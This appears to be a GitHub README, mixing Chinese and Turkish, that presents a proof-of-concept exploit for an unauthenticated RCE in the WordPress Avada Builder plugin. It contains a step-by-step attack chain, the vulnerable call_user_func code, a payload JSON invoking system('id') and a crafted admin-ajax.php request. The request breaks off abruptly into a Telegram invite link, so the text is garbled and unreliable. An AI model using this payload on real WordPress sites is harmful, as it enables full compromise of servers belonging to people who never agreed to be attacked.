xxconi/CVE-2026-6279
GitHub: xxconi/CVE-2026-6279
针对 WordPress Avada Builder <= 3.15.2 未授权远程代码执行漏洞的 PoC 利用工具,通过 PHP 函数注入实现 RCE。
Stars: 0 | Forks: 1
╔══════════════════════════════════════════════════════════════╗
║ CVE-2026-6279 · Avada Builder <= 3.15.2 ║
║ 通过 call_user_func() 实现的未授权 RCE ║║
╚══════════════════════════════════════════════════════════════╝
```






## 📋 概述
| 字段 | 详情 |
|------|-------|
| **CVE ID** | CVE-2026-6279 |
| **受影响组件** | Avada Builder (Fusion Builder) <= 3.15.2 |
| **主题** | WordPress Avada Theme |
| **活跃安装量** | 900.000+ |
| **漏洞类型** | PHP Function Injection → 未授权 RCE |
| **CVSS v3.1** | **9.8 (严重)** |
| **向量** | `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H` |
| **身份验证** | ❌ 不需要 |
| **用户交互** | ❌ 不需要 |
| **研究员** | xxcoin |
| **发布日期** | 2026-05-24 |
## 🔗 攻击链
```
┌─────────────────────────────────────────────────────────────────┐
│ │
│ 1. NONCE TESPİT │
│ wp_create_nonce('fusion_load_nonce') → UID 0 │
│ [fusion_post_cards] veya [fusion_table_of_contents] │
│ shortcode'u olan herkese açık sayfalarda JS'e eklenir │
│ │ │
│ ▼ │
│ 2. UNAUTHENTICATED AJAX │
│ wp_ajax_nopriv_fusion_get_widget_markup │
│ check_ajax_referer() → sadece nonce geçerliliği kontrol │
│ eder, kullanıcı kimliği doğrulanmaz │
│ │ │
│ ▼ │
│ 3. DESERİALİZASYON │
│ base64_decode(render_logics) → json_decode() │
│ Yapı doğrulaması yok — saldırgan kontrolündeki JSON │
│ │ │
│ ▼ │
│ 4. call_user_func() — ALLOWLIST YOK │
│ get_value() → wp_conditional_tags case │
│ call_user_func($value['function'], $value['args']) │
│ Herhangi bir PHP fonksiyonu çağrılabilir │
│ │ │
│ ▼ │
│ 5. RCE ✓ │
│ system("id") → uid=1000(xxcoin) │
│ Web sunucusu yetkisiyle tam komut yürütme │
│ │
└─────────────────────────────────────────────────────────────────┘
```
## 🧬 技术细节
### 漏洞位置
`class-fusion-builder-conditional-render-helper.php` — L1531:
```
// VULNERABLE CODE
case 'wp_conditional_tags':
$decoded = json_decode( base64_decode( $render_logics ), true );
// ❌ Allowlist kontrolü yok
return call_user_func( $decoded['function'], $decoded['args'] );
```
### Payload 结构
```
{
"type": "wp_conditional_tags",
"value": {
"function": "system",
"args": "id"
}
}
```
### HTTP 请求
```
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
action=fusion_get_widget_markup
fusion_load_nonce=
telegram. https://t.me/+-GYq8ydL9AYwZGI8)
**CVE-2026-6279 · Avada Builder <= 3.15.2 ·xxcoin · 2026**
*特别感谢: Shadow Girlfriend 💜*
标签:CISA项目, WordPress插件, 安全漏洞, 无服务器架构, 编程工具, 远程代码执行, 逆向工具